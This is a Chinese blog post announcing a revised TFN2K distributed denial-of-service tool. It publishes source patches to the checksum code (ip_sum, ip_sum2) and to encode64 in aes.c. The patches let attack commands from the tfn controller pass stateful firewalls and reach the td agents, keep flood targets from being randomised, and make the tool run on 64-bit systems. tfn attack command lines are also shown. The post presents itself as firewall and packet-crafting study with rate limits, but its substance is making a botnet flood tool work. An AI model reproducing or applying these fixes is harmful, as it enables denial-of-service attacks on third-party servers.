TFN2K 2016修订版发布(32/64位)

最新推荐文章于 2023-10-12 15:22:26 发布

wu_huashan

最新推荐文章于 2023-10-12 15:22:26 发布

阅读量3.1k

点赞数

分类专栏： ddos 文章标签： tfn2k Password verificatio 64位编译 tcp校验和 minifw

本文链接：https://blog.csdn.net/wu_huashan/article/details/50480836

版权

ddos 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

前言：tfn2k发布的时间太早，最大一个缺陷就是flood数据包（TCP/UDP）因为校验和错误，远端被攻击的服务器会直接丢弃，在中国大陆有高人的优化（tfn2k优化作者:r0otk1tz)并对flood包的checksum做了修复，但没有修复控制指令包的错误，最近测试发现还有更大缺陷需要弥补。

主要缺陷：1）控制指令包无法穿透状态过滤的防火墙；2）无法在64位系统上运行；3）被攻击的远程服务器IP变成随机IP，本来要打扶桑树结果误打金乌。

为解决这些问题，我做了两个实验，配合防火墙规则和ps进程查看以及iptraf查看流量最终修订出更合适的tfn2k,感谢tfn2k的作者，感谢大陆高人提供的校验和代码。

该版本限制了攻击包频率，仅仅作为防火墙学习，TCP/UDP包构造学习用，搞破坏造成的任何危害由使用者本人承担。

A实验：使用原始tfn2k+r0ot1kz补丁在minifw(linux kernel 3.14)下编译得到32位的td /tfn.，在vmware中两个minifw(192.168.0.1运行tfn,192.168.0.11运行td)

上图是主机192.168.0.11运行td作为受控端,并设置防火墙的input规则（3条），请注意重要的一条规则是拒绝INVALID包，只有合法的NEW,RELATED,ESTABLISHED包才能进入。

上图是主机192.168.0.1 运行的是tfn 控制端程序，分别使用ICMP TCP两种包远程控制td端，控制成功了吗？从第一张防火墙图看出，192.168.0.11 一共接收到40个包，其中20个是ICMP包，20个TCP包，都是tfn发出的指令，但全部都被丢弃了。因此td没有反应！你没有告诉我干什么,凭什么要我去干活？结论：控制指令无法穿透防火墙。

于是我在192.168.0.11主机的防火墙规则修订一下，iptables –I INPUT –jACCEPT,也就是接收一切包，管他是好包烂包,终于td接收到指令发动攻击，攻击效果图如下。

问题到底在什么地方呢？猜中了结果，但过程却艰辛。我花了两个周时间来抓包调试，得出结论：

tfn 发送给td的指令,在tribe.c 中包含有发送程序，一直追踪到aes.c对指令加密，发现有两个bug：

1）还是校验和问题。

tfn发送给td的指令一直都是INVALID状态，我修改了ip.c ,重点是htons()，如果不用htons()，我测试好多次都是INVALID数据。

unsigned short

ip_sum (addr, len)

unsigned short *addr;

int len;

{

int nleft = len;

unsigned short *w = addr;

int sum = 0;

unsigned short answer = 0;

while (nleft > 1)

{

printf("%x--",ntohs(*w));

sum += ntohs(*w++);

nleft -= 2;

}

if (nleft == 1)

{

*(unsigned char *)(&answer) = *(unsigned char *) w;

sum += answer;

printf("oh,I found onebyte(%x)--",answer);

}

sum = (sum >> 16) + (sum& 0xffff);

sum += (sum >> 16);

answer = ~sum;

printf("chsum is%x--over\n",htons(answer));

return (htons(answer));

/* modified bywu_huashan@21cn.com,minifw.luohuedu.net */

}

unsigned int

ip_sum2 (addr, len)

unsigned short *addr;

int len;

{

int nleft = len;

unsigned short *w = addr;

int sum = 0;

unsigned short answer = 0;

while (nleft > 1)

{

printf("%x--",ntohs(*w));

sum += ntohs(*w++);

nleft -= 2;

}

if (nleft == 1)

{

*(unsigned char *)(&answer) = *(unsigned char *) w;

sum += answer;

printf("oh,I found onebyte(%x)--",answer);

}

/* modified bywu_huashan@21cn.com,minifw.luohuedu.net */

printf("sum is %x,len is%d\n",sum,len);

return(sum);

}

由于tfn发送给td的指令包长度可能为奇数，因此我用ip_sum2做tcp/udp校验和

2） aes.c中encode64函数问题：

if (len>16)

base64_in (inbuf, (char *)outbuf, (len + 16));

else

base64_in (inbuf, (char *) outbuf,(len + 15));

/* modify by wu_huashan@21cn.com,minifw.luohuedu.net */

源代码就是+16，实际上两组实验如下：

tfn –P ICMP –f a.txt –i 219.13.276.15 –p 80 –c 5

tfn –P ICMP –f a.txt –i 219.13.276.115 –p 80 –c 5

上面两个不同的攻击IP，如果是第一条，len=16(+f+219.13.276.15),必须加15（少于16也可）不然被攻击的IP居然变成了随机IP；如果是第二条，len=17(+f+219.133.276.115),则加16（如果小于16，被攻击IP也变成随机IP），修改后就不会乱开机枪。

B实验：

使用原始tfn2k2016修改版本在minifw(linux kernel 3.14)下编译得到32位的td /tfn.在vmware中两个minifw(192.168.0.1运行tfn作为控制端,192.168.0.11运行td为受控

上图是192.168.0.1 运行最新的tfn2发出指令控制192.168.0.11

上图是192.168.0.1运行tfn2后截图显示最后两个包的IP头以及TCP校验和构造过程(在winxp下安装vmware，xp运行wireshark可以抓到这些包)。

Packet11内的数据是27个字节，packet22内的数据是46个字节。该图是用ip_sum2做printf.

上图是192.168.0.11(td运行)防火墙的状态显示，终于有192.168.0.1过来的包并且状态为NEW，合法！被192.168.0.11的td2接收！

分析：Tfn2发送的指令，192.168.0.11是否成功接收到呢？见INPUT规则,60个无效包，但也有60个有效包，只要有一个有效，就可以远程控制成功。为什么在XP下安装VMWARE呢？在VMWARE内的好处是数据干扰非常少方便分析,eth0网卡得到的包唯一来自于192.168.0.1！很明显TFN2发送的指令有部分数据匹配了NEW状态，于是成功了。我本人严重怀疑奇数包长度的指令是INVALID被丢弃.

最后的测试：在64位BT以及64位lfs下编译运行td64，并且使用INVALID严格丢弃无效包，使用192.168.0.11远程控制，成功驱动BT去当祸害，别担心老虎的锋利牙齿被限制。

自我表扬：tfn可以作为一个经典的包构造参考学习工具。

过去一直对校验和没有搞明白，只会使用现成的代码做校验和，终于下决心彻底学一下，于是仿制了ip_sum2，将构造的包打印出来并与wireshark做对比，对于初学数据包构造非常合适，只要有一个tfn命令和wireshark就OK，不需要TD也可以学习啊(下面的截图是在tfn发出包后的最后两个包的构造显示，对tcp头，数据部分，伪tcp头的数据按照16位显示出来，两个包可以对照wireshare抓包一一比较每个字节)。